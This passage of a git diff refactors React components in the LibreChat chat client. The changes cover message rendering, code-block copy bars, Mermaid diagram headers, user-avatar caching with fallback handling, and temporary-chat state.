-            {hasNoChildren && effectiveIsSubmitting ? (
-              <PlaceholderRow />
-            ) : (
-              <SubRow classes="text-xs">
-                <SiblingSwitch
-                  siblingIdx={siblingIdx}
-                  siblingCount={siblingCount}
-                  setSiblingIdx={setSiblingIdx}
-                />
-                <HoverButtons
-                  index={index}
-                  isEditing={edit}
-                  message={msg}
-                  enterEdit={enterEdit}
-                  isSubmitting={isSubmitting}
-                  conversation={conversation ?? null}
-                  regenerate={handleRegenerateMessage}
-                  copyToClipboard={copyToClipboard}
-                  handleContinue={handleContinue}
-                  latestMessage={latestMessage}
-                  handleFeedback={handleFeedback}
-                  isLast={isLast}
-                />
-              </SubRow>
-            )}
+        <div className="flex flex-col gap-1">
+          <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
+            <MessageContext.Provider value={messageContextValue}>
+              <MessageContent
+                ask={ask}
+                edit={edit}
+                isLast={isLast}
+                text={msg.text || ''}
+                message={msg}
+                enterEdit={enterEdit}
+                error={!!(msg.error ?? false)}
+                isSubmitting={effectiveIsSubmitting}
+                unfinished={msg.unfinished ?? false}
+                isCreatedByUser={msg.isCreatedByUser ?? true}
+                siblingIdx={siblingIdx ?? 0}
+                setSiblingIdx={setSiblingIdx ?? (() => ({}))}
+              />
+            </MessageContext.Provider>
           </div>
+          {hasNoChildren && effectiveIsSubmitting ? (
+            <PlaceholderRow />
+          ) : (
+            <SubRow classes="text-xs">
+              <SiblingSwitch
+                siblingIdx={siblingIdx}
+                siblingCount={siblingCount}
+                setSiblingIdx={setSiblingIdx}
+              />
+              <HoverButtons
+                index={index}
+                isEditing={edit}
+                message={msg}
+                enterEdit={enterEdit}
+                isSubmitting={isSubmitting}
+                conversation={conversation ?? null}
+                regenerate={handleRegenerateMessage}
+                copyToClipboard={copyToClipboard}
+                handleContinue={handleContinue}
+                latestMessageId={latestMessageId}
+                handleFeedback={handleFeedback}
+                isLast={isLast}
+              />
+            </SubRow>
+          )}
         </div>
       </div>
-    );
-  },
-);
+    </div>
+  );
+});
+MessageRender.displayName = 'MessageRender';
 
 export default MessageRender;
diff --git a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
index d67424a46f..e60dc28278 100644
--- a/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
+++ b/client/src/components/Chat/Messages/ui/PlaceholderRow.tsx
@@ -1,7 +1,9 @@
 import { memo } from 'react';
 
-const PlaceholderRow = memo(() => {
-  return <div className="mt-1 h-[27px] bg-transparent" />;
+/** Height matches the SubRow action buttons row (31px) — keep in sync with HoverButtons */
+const PlaceholderRow = memo(function PlaceholderRow() {
+  return <div className="mt-1 h-[31px] bg-transparent" />;
 });
+PlaceholderRow.displayName = 'PlaceholderRow';
 
 export default PlaceholderRow;
diff --git a/client/src/components/Chat/TemporaryChat.tsx b/client/src/components/Chat/TemporaryChat.tsx
index d09cc73289..a4d72d081e 100644
--- a/client/src/components/Chat/TemporaryChat.tsx
+++ b/client/src/components/Chat/TemporaryChat.tsx
@@ -1,8 +1,8 @@
 import React from 'react';
+import { useRecoilValue } from 'recoil';
 import { TooltipAnchor } from '@librechat/client';
 import { MessageCircleDashed } from 'lucide-react';
 import { useRecoilState, useRecoilCallback } from 'recoil';
-import { useChatContext } from '~/Providers';
 import { useLocalize } from '~/hooks';
 import { cn } from '~/utils';
 import store from '~/store';
@@ -10,13 +10,8 @@ import store from '~/store';
 export function TemporaryChat() {
   const localize = useLocalize();
   const [isTemporary, setIsTemporary] = useRecoilState(store.isTemporary);
-  const { conversation, isSubmitting } = useChatContext();
-
-  const temporaryBadge = {
-    id: 'temporary',
-    atom: store.isTemporary,
-    isAvailable: true,
-  };
+  const conversation = useRecoilValue(store.conversationByIndex(0));
+  const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
 
   const handleBadgeToggle = useRecoilCallback(
     () => () => {
diff --git a/client/src/components/Conversations/Conversations.tsx b/client/src/components/Conversations/Conversations.tsx
index fc66c0977a..c7eb4d53ef 100644
--- a/client/src/components/Conversations/Conversations.tsx
+++ b/client/src/components/Conversations/Conversations.tsx
@@ -384,6 +384,7 @@ const Conversations: FC<ConversationsProps> = ({
                 onRowsRendered={handleRowsRendered}
                 tabIndex={-1}
                 style={{ outline: 'none', scrollbarGutter: 'stable' }}
+                containerRole="rowgroup"
               />
             )}
           </AutoSizer>
diff --git a/client/src/components/Endpoints/Icon.tsx b/client/src/components/Endpoints/Icon.tsx
index 3256145bfb..fae0f286d3 100644
--- a/client/src/components/Endpoints/Icon.tsx
+++ b/client/src/components/Endpoints/Icon.tsx
@@ -1,64 +1,102 @@
-import React, { memo, useState } from 'react';
+import React, { memo } from 'react';
 import { UserIcon, useAvatar } from '@librechat/client';
-import type { TUser } from 'librechat-data-provider';
 import type { IconProps } from '~/common';
 import MessageEndpointIcon from './MessageEndpointIcon';
 import { useAuthContext } from '~/hooks/AuthContext';
 import { useLocalize } from '~/hooks';
 import { cn } from '~/utils';
 
+type ResolvedAvatar = { type: 'image'; src: string } | { type: 'fallback' };
+
+/**
+ * Caches the resolved avatar decision per user ID.
+ * Invalidated when `user.avatar` changes (e.g., settings upload).
+ * Tracks failed image URLs so they fall back to SVG permanently for the session.
+ */
+const avatarCache = new Map<
+  string,
+  { avatar: string; avatarSrc: string; resolved: ResolvedAvatar }
+>();
+const failedUrls = new Set<string>();
+
+function resolveAvatar(userId: string, userAvatar: string, avatarSrc: string): ResolvedAvatar {
+  if (!userId) {
+    const imgSrc = userAvatar || avatarSrc;
+    return imgSrc && !failedUrls.has(imgSrc)
+      ? { type: 'image', src: imgSrc }
+      : { type: 'fallback' };
+  }
+
+  const cached = avatarCache.get(userId);
+  if (cached && cached.avatar === userAvatar && cached.avatarSrc === avatarSrc) {
+    return cached.resolved;
+  }
+
+  const imgSrc = userAvatar || avatarSrc;
+  const resolved: ResolvedAvatar =
+    imgSrc && !failedUrls.has(imgSrc) ? { type: 'image', src: imgSrc } : { type: 'fallback' };
+
+  avatarCache.set(userId, { avatar: userAvatar, avatarSrc, resolved });
+  return resolved;
+}
+
+function markAvatarFailed(userId: string, src: string): ResolvedAvatar {
+  failedUrls.add(src);
+  const fallback: ResolvedAvatar = { type: 'fallback' };
+  const cached = avatarCache.get(userId);
+  if (cached) {
+    avatarCache.set(userId, { ...cached, resolved: fallback });
+  }
+  return fallback;
+}
+
 type UserAvatarProps = {
   size: number;
-  user?: TUser;
+  avatar: string;
   avatarSrc: string;
+  userId: string;
   username: string;
   className?: string;
 };
 
-const UserAvatar = memo(({ size, user, avatarSrc, username, className }: UserAvatarProps) => {
-  const [imageError, setImageError] = useState(false);
+const UserAvatar = memo(
+  ({ size, avatar, avatarSrc, userId, username, className }: UserAvatarProps) => {
+    const [resolved, setResolved] = React.useState(() => resolveAvatar(userId, avatar, avatarSrc));
 
-  const handleImageError = () => {
-    setImageError(true);
-  };
+    React.useEffect(() => {
+      setResolved(resolveAvatar(userId, avatar, avatarSrc));
+    }, [userId, avatar, avatarSrc]);
 
-  const renderDefaultAvatar = () => (
-    <div
-      style={{
-        backgroundColor: 'rgb(121, 137, 255)',
-        width: '20px',
-        height: '20px',
-        boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px',
-      }}
-      className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white"
-    >
-      <UserIcon />
-    </div>
-  );
-
-  return (
-    <div
-      title={username}
-      style={{
-        width: size,
-        height: size,
-      }}
-      className={cn('relative flex items-center justify-center', className ?? '')}
-    >
-      {(!(user?.avatar ?? '') && (!(user?.username ?? '') || user?.username.trim() === '')) ||
-      imageError ? (
-        renderDefaultAvatar()
-      ) : (
-        <img
-          className="rounded-full"
-          src={(user?.avatar ?? '') || avatarSrc}
-          alt="avatar"
-          onError={handleImageError}
-        />
-      )}
-    </div>
-  );
-});
+    return (
+      <div
+        title={username}
+        style={{ width: size, height: size }}
+        className={cn('relative flex items-center justify-center', className ?? '')}
+      >
+        {resolved.type === 'image' ? (
+          <img
+            className="rounded-full"
+            src={resolved.src}
+            alt="avatar"
+            onError={() => setResolved(markAvatarFailed(userId, resolved.src))}
+          />
+        ) : (
+          <div
+            style={{
+              backgroundColor: 'rgb(121, 137, 255)',
+              width: '20px',
+              height: '20px',
+              boxShadow: 'rgba(240, 246, 252, 0.1) 0px 0px 0px 1px',
+            }}
+            className="relative flex h-9 w-9 items-center justify-center rounded-sm p-1 text-white"
+          >
+            <UserIcon />
+          </div>
+        )}
+      </div>
+    );
+  },
+);
 
 UserAvatar.displayName = 'UserAvatar';
 
@@ -74,9 +112,10 @@ const Icon: React.FC<IconProps> = memo((props) => {
     return (
       <UserAvatar
         size={size}
-        user={user}
         avatarSrc={avatarSrc}
         username={username}
+        userId={user?.id ?? ''}
+        avatar={user?.avatar ?? ''}
         className={props.className}
       />
     );
diff --git a/client/src/components/MCP/MCPServerMenuItem.tsx b/client/src/components/MCP/MCPServerMenuItem.tsx
index 2291a5233e..7fcb773bb9 100644
--- a/client/src/components/MCP/MCPServerMenuItem.tsx
+++ b/client/src/components/MCP/MCPServerMenuItem.tsx
@@ -46,7 +46,6 @@ export default function MCPServerMenuItem({
       name="mcp-servers"
       value={server.serverName}
       checked={isSelected}
-      setValueOnChange={false}
       onChange={() => onToggle(server.serverName)}
       aria-label={accessibleLabel}
       className={cn(
diff --git a/client/src/components/Messages/Content/CodeBlock.tsx b/client/src/components/Messages/Content/CodeBlock.tsx
index eae84e49a9..7407098c5e 100644
--- a/client/src/components/Messages/Content/CodeBlock.tsx
+++ b/client/src/components/Messages/Content/CodeBlock.tsx
@@ -23,125 +23,138 @@ interface FloatingCodeBarProps extends CodeBarProps {
   isVisible: boolean;
 }
 
-const CodeBar: React.FC<CodeBarProps> = React.memo(
-  ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true }) => {
-    const localize = useLocalize();
-    const [isCopied, setIsCopied] = useState(false);
-    return (
-      <div className="relative flex items-center justify-between rounded-tl-md rounded-tr-md bg-gray-700 px-4 py-2 font-sans text-xs text-gray-200 dark:bg-gray-700">
-        <span className="">{lang}</span>
-        {plugin === true ? (
-          <InfoIcon className="ml-auto flex h-4 w-4 gap-2 text-white/50" />
-        ) : (
-          <div className="flex items-center justify-center gap-4">
-            {allowExecution === true && (
-              <RunCode lang={lang} codeRef={codeRef} blockIndex={blockIndex} />
+const CodeBar: React.FC<CodeBarProps> = React.memo(function CodeBar({
+  lang,
+  error,
+  codeRef,
+  blockIndex,
+  plugin = null,
+  allowExecution = true,
+}) {
+  const localize = useLocalize();
+  const [isCopied, setIsCopied] = useState(false);
+  return (
+    <div className="relative flex items-center justify-between rounded-tl-md rounded-tr-md bg-gray-700 px-4 py-2 font-sans text-xs text-gray-200 dark:bg-gray-700">
+      <span className="">{lang}</span>
+      {plugin === true ? (
+        <InfoIcon className="ml-auto flex h-4 w-4 gap-2 text-white/50" />
+      ) : (
+        <div className="flex items-center justify-center gap-4">
+          {allowExecution === true && (
+            <RunCode lang={lang} codeRef={codeRef} blockIndex={blockIndex} />
+          )}
+          <button
+            type="button"
+            className={cn(
+              'ml-auto flex gap-2 rounded-sm focus:outline focus:outline-white',
+              error === true ? 'h-4 w-4 items-start text-white/50' : '',
             )}
-            <button
-              type="button"
-              className={cn(
-                'ml-auto flex gap-2 rounded-sm focus:outline focus:outline-white',
-                error === true ? 'h-4 w-4 items-start text-white/50' : '',
-              )}
-              onClick={async () => {
-                const codeString = codeRef.current?.textContent;
-                if (codeString != null) {
-                  setIsCopied(true);
-                  copy(codeString.trim(), { format: 'text/plain' });
+            onClick={async () => {
+              const codeString = codeRef.current?.textContent;
+              if (codeString != null) {
+                setIsCopied(true);
+                copy(codeString.trim(), { format: 'text/plain' });
 
-                  setTimeout(() => {
-                    setIsCopied(false);
-                  }, 3000);
-                }
-              }}
-            >
-              {isCopied ? <CheckMark className="h-[18px] w-[18px]" /> : <Clipboard />}
-              {error !== true && (
-                <span className="relative">
-                  <span className="invisible">{localize('com_ui_copy_code')}</span>
-                  <span className="absolute inset-0 flex items-center">
-                    {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
-                  </span>
-                </span>
-              )}
-            </button>
-          </div>
-        )}
-      </div>
-    );
-  },
-);
-
-const FloatingCodeBar: React.FC<FloatingCodeBarProps> = React.memo(
-  ({ lang, error, codeRef, blockIndex, plugin = null, allowExecution = true, isVisible }) => {
-    const localize = useLocalize();
-    const [isCopied, setIsCopied] = useState(false);
-    const copyButtonRef = useRef<HTMLButtonElement>(null);
-
-    const handleCopy = useCallback(() => {
-      const codeString = codeRef.current?.textContent;
-      if (codeString != null) {
-        const wasFocused = document.activeElement === copyButtonRef.current;
-        setIsCopied(true);
-        copy(codeString.trim(), { format: 'text/plain' });
-        if (wasFocused) {
-          requestAnimationFrame(() => {
-            copyButtonRef.current?.focus();
-          });
-        }
-
-        setTimeout(() => {
-          const focusedElement = document.activeElement as HTMLElement | null;
-          setIsCopied(false);
-          requestAnimationFrame(() => {
-            focusedElement?.focus();
-          });
-        }, 3000);
-      }
-    }, [codeRef]);
-
-    return (
-      <div
-        className={cn(
-          'absolute bottom-2 right-2 flex items-center gap-2 font-sans text-xs text-gray-200 transition-opacity duration-150',
-          isVisible ? 'opacity-100' : 'pointer-events-none opacity-0',
-        )}
-      >
-        {plugin === true ? (
-          <InfoIcon className="flex h-4 w-4 gap-2 text-white/50" />
-        ) : (
-          <>
-            {allowExecution === true && (
-              <RunCode lang={lang} codeRef={codeRef} blockIndex={blockIndex} iconOnly />
-            )}
-            <TooltipAnchor
-              description={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
-              render={
-                <button
-                  ref={copyButtonRef}
-                  type="button"
-                  tabIndex={isVisible ? 0 : -1}
-                  aria-label={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
-                  className={cn(
-                    'flex items-center justify-center rounded p-1.5 hover:bg-gray-700 focus:bg-gray-700 focus:outline focus:outline-white',
-                    error === true ? 'h-4 w-4 text-white/50' : '',
-                  )}
-                  onClick={handleCopy}
-                >
-                  {isCopied ? (
-                    <CheckMark className="h-[18px] w-[18px]" aria-hidden="true" />
-                  ) : (
-                    <Clipboard aria-hidden="true" />
-                  )}
-                </button>
+                setTimeout(() => {
+                  setIsCopied(false);
+                }, 3000);
               }
-            />
-          </>
-        )}
-      </div>
-    );
-  },
-);
+            }}
+          >
+            {isCopied ? <CheckMark className="h-[18px] w-[18px]" /> : <Clipboard />}
+            {error !== true && (
+              <span className="relative">
+                <span className="invisible">{localize('com_ui_copy_code')}</span>
+                <span className="absolute inset-0 flex items-center">
+                  {isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+                </span>
+              </span>
+            )}
+          </button>
+        </div>
+      )}
+    </div>
+  );
+});
+CodeBar.displayName = 'CodeBar';
+
+const FloatingCodeBar: React.FC<FloatingCodeBarProps> = React.memo(function FloatingCodeBar({
+  lang,
+  error,
+  codeRef,
+  blockIndex,
+  plugin = null,
+  allowExecution = true,
+  isVisible,
+}) {
+  const localize = useLocalize();
+  const [isCopied, setIsCopied] = useState(false);
+  const copyButtonRef = useRef<HTMLButtonElement>(null);
+
+  const handleCopy = useCallback(() => {
+    const codeString = codeRef.current?.textContent;
+    if (codeString != null) {
+      const wasFocused = document.activeElement === copyButtonRef.current;
+      setIsCopied(true);
+      copy(codeString.trim(), { format: 'text/plain' });
+      if (wasFocused) {
+        requestAnimationFrame(() => {
+          copyButtonRef.current?.focus();
+        });
+      }
+
+      setTimeout(() => {
+        const focusedElement = document.activeElement as HTMLElement | null;
+        setIsCopied(false);
+        requestAnimationFrame(() => {
+          focusedElement?.focus();
+        });
+      }, 3000);
+    }
+  }, [codeRef]);
+
+  return (
+    <div
+      className={cn(
+        'absolute bottom-2 right-2 flex items-center gap-2 font-sans text-xs text-gray-200 transition-opacity duration-150',
+        isVisible ? 'opacity-100' : 'pointer-events-none opacity-0',
+      )}
+    >
+      {plugin === true ? (
+        <InfoIcon className="flex h-4 w-4 gap-2 text-white/50" />
+      ) : (
+        <>
+          {allowExecution === true && (
+            <RunCode lang={lang} codeRef={codeRef} blockIndex={blockIndex} iconOnly />
+          )}
+          <TooltipAnchor
+            description={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+            render={
+              <button
+                ref={copyButtonRef}
+                type="button"
+                tabIndex={isVisible ? 0 : -1}
+                aria-label={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+                className={cn(
+                  'flex items-center justify-center rounded p-1.5 hover:bg-gray-700 focus:bg-gray-700 focus:outline focus:outline-white',
+                  error === true ? 'h-4 w-4 text-white/50' : '',
+                )}
+                onClick={handleCopy}
+              >
+                {isCopied ? (
+                  <CheckMark className="h-[18px] w-[18px]" aria-hidden="true" />
+                ) : (
+                  <Clipboard aria-hidden="true" />
+                )}
+              </button>
+            }
+          />
+        </>
+      )}
+    </div>
+  );
+});
+FloatingCodeBar.displayName = 'FloatingCodeBar';
 
 const CodeBlock: React.FC<CodeBlockProps> = ({
   lang,
diff --git a/client/src/components/Messages/Content/Mermaid.tsx b/client/src/components/Messages/Content/Mermaid.tsx
index 9d830b3fdc..03037f4427 100644
--- a/client/src/components/Messages/Content/Mermaid.tsx
+++ b/client/src/components/Messages/Content/Mermaid.tsx
@@ -12,6 +12,7 @@ import {
   OGDialogContent,
 } from '@librechat/client';
 import { useLocalize, useDebouncedMermaid } from '~/hooks';
+import { fixSubgraphTitleContrast } from '~/utils/mermaid';
 import MermaidHeader from './MermaidHeader';
 import cn from '~/utils/cn';
 
@@ -181,6 +182,8 @@ const Mermaid: React.FC<MermaidProps> = memo(({ children, id, theme }) => {
         svgElement.setAttribute('xmlns', 'http://www.w3.org/2000/svg');
       }
 
+      fixSubgraphTitleContrast(svgElement);
+
       return {
         processedSvg: new XMLSerializer().serializeToString(doc),
         parsedDimensions: dimensions,
@@ -672,7 +675,7 @@ const Mermaid: React.FC<MermaidProps> = memo(({ children, id, theme }) => {
             className={cn(
               'relative overflow-hidden p-4 transition-colors duration-200',
               'rounded-md',
-              showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+              showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
               isPanning ? 'cursor-grabbing' : 'cursor-grab',
             )}
             style={{ height: `${calculatedHeight}px` }}
@@ -811,7 +814,7 @@ const Mermaid: React.FC<MermaidProps> = memo(({ children, id, theme }) => {
           className={cn(
             'relative overflow-hidden p-4 transition-colors duration-200',
             'rounded-md',
-            showControls ? 'bg-surface-primary-alt' : 'bg-transparent',
+            showControls ? 'bg-surface-primary-alt dark:bg-white/[0.03]' : 'bg-transparent',
             isPanning ? 'cursor-grabbing' : 'cursor-grab',
           )}
           style={{ height: `${calculatedHeight}px` }}
diff --git a/client/src/components/Messages/Content/MermaidHeader.tsx b/client/src/components/Messages/Content/MermaidHeader.tsx
index 03b49b6558..2d3a416a5a 100644
--- a/client/src/components/Messages/Content/MermaidHeader.tsx
+++ b/client/src/components/Messages/Content/MermaidHeader.tsx
@@ -1,7 +1,7 @@
 import React, { memo, useState, useCallback, useRef } from 'react';
 import copy from 'copy-to-clipboard';
 import { Expand, ChevronUp, ChevronDown } from 'lucide-react';
-import { Button, Clipboard, CheckMark } from '@librechat/client';
+import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
 import { useLocalize } from '~/hooks';
 import cn from '~/utils/cn';
 
@@ -15,8 +15,8 @@ interface MermaidHeaderProps {
   onToggleCode: () => void;
 }
 
-const buttonClasses =
-  'h-auto gap-1 rounded-sm px-1 py-0 text-xs text-gray-200 hover:bg-gray-600 hover:text-white focus-visible:ring-white focus-visible:ring-offset-0';
+const iconBtnClass =
+  'flex items-center justify-center rounded p-1.5 text-text-secondary hover:bg-surface-hover focus-visible:outline focus-visible:outline-white';
 
 const MermaidHeader: React.FC<MermaidHeaderProps> = memo(
   ({
@@ -49,46 +49,58 @@ const MermaidHeader: React.FC<MermaidHeaderProps> = memo(
     return (
       <div
         className={cn(
-          'flex items-center justify-between rounded-tl-md rounded-tr-md bg-gray-700/80 px-4 py-2 font-sans text-xs text-gray-200 backdrop-blur-sm transition-opacity duration-200',
+          'flex items-center justify-end gap-1 px-2 py-1 transition-opacity duration-200',
           className,
         )}
       >
-        <span>{localize('com_ui_mermaid')}</span>
-        <div className="ml-auto flex gap-2">
-          {showExpandButton && onExpand && (
-            <Button
-              ref={expandButtonRef}
-              variant="ghost"
-              size="sm"
-              className={buttonClasses}
-              onClick={onExpand}
-              title={localize('com_ui_expand')}
+        {showExpandButton && onExpand && (
+          <TooltipAnchor
+            description={localize('com_ui_expand')}
+            render={
+              <button
+                ref={expandButtonRef}
+                type="button"
+                aria-label={localize('com_ui_expand')}
+                className={iconBtnClass}
+                onClick={onExpand}
+              >
+                <Expand className="h-4 w-4" />
+              </button>
+            }
+          />
+        )}
+        <TooltipAnchor
+          description={showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
+          render={
+            <button
+              ref={showCodeButtonRef}
+              type="button"
+              aria-label={showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
+              className={iconBtnClass}
+              onClick={handleToggleCode}
             >
-              <Expand className="h-4 w-4" />
-              {localize('com_ui_expand')}
-            </Button>
-          )}
-          <Button
-            ref={showCodeButtonRef}
-            variant="ghost"
-            size="sm"
-            className={cn(buttonClasses, 'min-w-[6rem]')}
-            onClick={handleToggleCode}
-          >
-            {showCode ? <ChevronUp className="h-4 w-4" /> : <ChevronDown className="h-4 w-4" />}
-            {showCode ? localize('com_ui_hide_code') : localize('com_ui_show_code')}
-          </Button>
-          <Button
-            ref={copyButtonRef}
-            variant="ghost"
-            size="sm"
-            className={buttonClasses}
-            onClick={handleCopy}
-          >
-            {isCopied ? <CheckMark className="h-[18px] w-[18px]" /> : <Clipboard />}
-            {localize('com_ui_copy_code')}
-          </Button>
-        </div>
+              {showCode ? <ChevronUp className="h-4 w-4" /> : <ChevronDown className="h-4 w-4" />}
+            </button>
+          }
+        />
+        <TooltipAnchor
+          description={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+          render={
+            <button
+              ref={copyButtonRef}
+              type="button"
+              aria-label={isCopied ? localize('com_ui_copied') : localize('com_ui_copy_code')}
+              className={iconBtnClass}
+              onClick={handleCopy}
+            >
+              {isCopied ? (
+                <CheckMark className="h-[18px] w-[18px]" />
+              ) : (
+                <Clipboard className="h-4 w-4" />
+              )}
+            </button>
+          }
+        />
       </div>
     );
   },
diff --git a/client/src/components/Messages/ContentRender.tsx b/client/src/components/Messages/ContentRender.tsx
index 5724ff77c2..4114baefe4 100644
--- a/client/src/components/Messages/ContentRender.tsx
+++ b/client/src/components/Messages/ContentRender.tsx
@@ -22,176 +22,175 @@ type ContentRenderProps = {
   'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
 >;
 
-const ContentRender = memo(
-  ({
+const ContentRender = memo(function ContentRender({
+  message: msg,
+  siblingIdx,
+  siblingCount,
+  setSiblingIdx,
+  currentEditId,
+  setCurrentEditId,
+  isSubmitting = false,
+}: ContentRenderProps) {
+  const localize = useLocalize();
+  const { attachments, searchResults } = useAttachments({
+    messageId: msg?.messageId,
+    attachments: msg?.attachments,
+  });
+  const {
+    edit,
+    index,
+    agent,
+    assistant,
+    enterEdit,
+    conversation,
+    messageLabel,
+    handleContinue,
+    handleFeedback,
+    latestMessageId,
+    copyToClipboard,
+    regenerateMessage,
+    latestMessageDepth,
+  } = useMessageActions({
     message: msg,
-    siblingIdx,
-    siblingCount,
-    setSiblingIdx,
+    searchResults,
     currentEditId,
     setCurrentEditId,
-    isSubmitting = false,
-  }: ContentRenderProps) => {
-    const localize = useLocalize();
-    const { attachments, searchResults } = useAttachments({
-      messageId: msg?.messageId,
-      attachments: msg?.attachments,
-    });
-    const {
-      edit,
-      index,
-      agent,
-      assistant,
-      enterEdit,
-      conversation,
+  });
+  const fontSize = useAtomValue(fontSizeAtom);
+  const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+  const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+  const isLast = useMemo(
+    () => !(msg?.children?.length ?? 0) && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+    [msg?.children, msg?.depth, latestMessageDepth],
+  );
+  const hasNoChildren = !(msg?.children?.length ?? 0);
+  const isLatestMessage = msg?.messageId === latestMessageId;
+  /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+  const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+  const iconData: TMessageIcon = useMemo(
+    () => ({
+      endpoint: msg?.endpoint ?? conversation?.endpoint,
+      model: msg?.model ?? conversation?.model,
+      iconURL: msg?.iconURL,
+      modelLabel: messageLabel,
+      isCreatedByUser: msg?.isCreatedByUser,
+    }),
+    [
       messageLabel,
-      latestMessage,
-      handleContinue,
-      handleFeedback,
-      copyToClipboard,
-      regenerateMessage,
-    } = useMessageActions({
-      message: msg,
-      searchResults,
-      currentEditId,
-      setCurrentEditId,
-    });
-    const fontSize = useAtomValue(fontSizeAtom);
-    const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+      conversation?.endpoint,
+      conversation?.model,
+      msg?.model,
+      msg?.iconURL,
+      msg?.endpoint,
+      msg?.isCreatedByUser,
+    ],
+  );
 
-    const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
-    const isLast = useMemo(
-      () =>
-        !(msg?.children?.length ?? 0) && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
-      [msg?.children, msg?.depth, latestMessage?.depth],
-    );
-    const hasNoChildren = !(msg?.children?.length ?? 0);
-    const isLatestMessage = msg?.messageId === latestMessage?.messageId;
-    /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
-    const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+  const { hasParallelContent } = useContentMetadata(msg);
 
-    const iconData: TMessageIcon = useMemo(
-      () => ({
-        endpoint: msg?.endpoint ?? conversation?.endpoint,
-        model: msg?.model ?? conversation?.model,
-        iconURL: msg?.iconURL,
-        modelLabel: messageLabel,
-        isCreatedByUser: msg?.isCreatedByUser,
-      }),
-      [
-        messageLabel,
-        conversation?.endpoint,
-        conversation?.model,
-        msg?.model,
-        msg?.iconURL,
-        msg?.endpoint,
-        msg?.isCreatedByUser,
-      ],
-    );
+  if (!msg) {
+    return null;
+  }
 
-    const { hasParallelContent } = useContentMetadata(msg);
-
-    if (!msg) {
-      return null;
+  const getChatWidthClass = () => {
+    if (maximizeChatSpace) {
+      return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
     }
+    if (hasParallelContent) {
+      return 'md:max-w-[58rem] xl:max-w-[70rem]';
+    }
+    return 'md:max-w-[47rem] xl:max-w-[55rem]';
+  };
 
-    const getChatWidthClass = () => {
-      if (maximizeChatSpace) {
-        return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
-      }
-      if (hasParallelContent) {
-        return 'md:max-w-[58rem] xl:max-w-[70rem]';
-      }
-      return 'md:max-w-[47rem] xl:max-w-[55rem]';
-    };
+  const baseClasses = {
+    common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+    chat: getChatWidthClass(),
+  };
 
-    const baseClasses = {
-      common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
-      chat: getChatWidthClass(),
-    };
+  const conditionalClasses = {
+    focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+  };
 
-    const conditionalClasses = {
-      focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
-    };
+  return (
+    <div
+      id={msg.messageId}
+      aria-label={getMessageAriaLabel(msg, localize)}
+      className={cn(
+        baseClasses.common,
+        baseClasses.chat,
+        conditionalClasses.focus,
+        'message-render',
+      )}
+    >
+      {!hasParallelContent && (
+        <div className="relative flex flex-shrink-0 flex-col items-center">
+          <div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
+            <MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
+          </div>
+        </div>
+      )}
 
-    return (
       <div
-        id={msg.messageId}
-        aria-label={getMessageAriaLabel(msg, localize)}
         className={cn(
-          baseClasses.common,
-          baseClasses.chat,
-          conditionalClasses.focus,
-          'message-render',
+          'relative flex flex-col',
+          hasParallelContent ? 'w-full' : 'w-11/12',
+          msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
         )}
       >
         {!hasParallelContent && (
-          <div className="relative flex flex-shrink-0 flex-col items-center">
-            <div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
-              <MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
-            </div>
-          </div>
+          <h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
         )}
 
-        <div
-          className={cn(
-            'relative flex flex-col',
-            hasParallelContent ? 'w-full' : 'w-11/12',
-            msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
-          )}
-        >
-          {!hasParallelContent && (
-            <h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
-          )}
-
-          <div className="flex flex-col gap-1">
-            <div className="flex max-w-full flex-grow flex-col gap-0">
-              <ContentParts
-                edit={edit}
-                isLast={isLast}
-                enterEdit={enterEdit}
-                siblingIdx={siblingIdx}
-                messageId={msg.messageId}
-                attachments={attachments}
-                searchResults={searchResults}
-                setSiblingIdx={setSiblingIdx}
-                isLatestMessage={isLatestMessage}
-                isSubmitting={effectiveIsSubmitting}
-                isCreatedByUser={msg.isCreatedByUser}
-                conversationId={conversation?.conversationId}
-                content={msg.content as Array<TMessageContentParts | undefined>}
